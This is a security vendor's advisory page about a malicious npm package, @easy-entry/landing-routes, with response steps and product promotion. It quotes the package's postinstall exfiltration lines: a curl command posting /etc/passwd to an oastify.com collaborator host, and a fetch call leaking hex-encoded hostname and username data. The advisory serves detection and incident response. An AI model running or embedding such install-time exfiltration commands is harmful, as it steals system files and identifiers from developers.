@easy-entry/landing-routesnpm
Malicious code in @easy-entry/landing-routes (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborator endpoint. First, package.json line 4 invokes /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a DNS-logging subdomain that encodes the victim's hostname. Second, scripts/scream3gg.js reads os.hostname(), os.homedir(), and os.userInfo().username, hex-encodes them, and issues fetch('http://' + safeData + '.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com'), leaking host identifiers via DNS+HTTP. Both paths fire automatically on default install with no opt-in.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @easy-entry/landing-routes (version 99.9.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @easy-entry/landing-routes across your stack and pipelines.
If you installed it — respond
@easy-entry/landing-routes is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @easy-entry/landing-routes was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @easy-entry/landing-routes before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @easy-entry/landing-routes-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.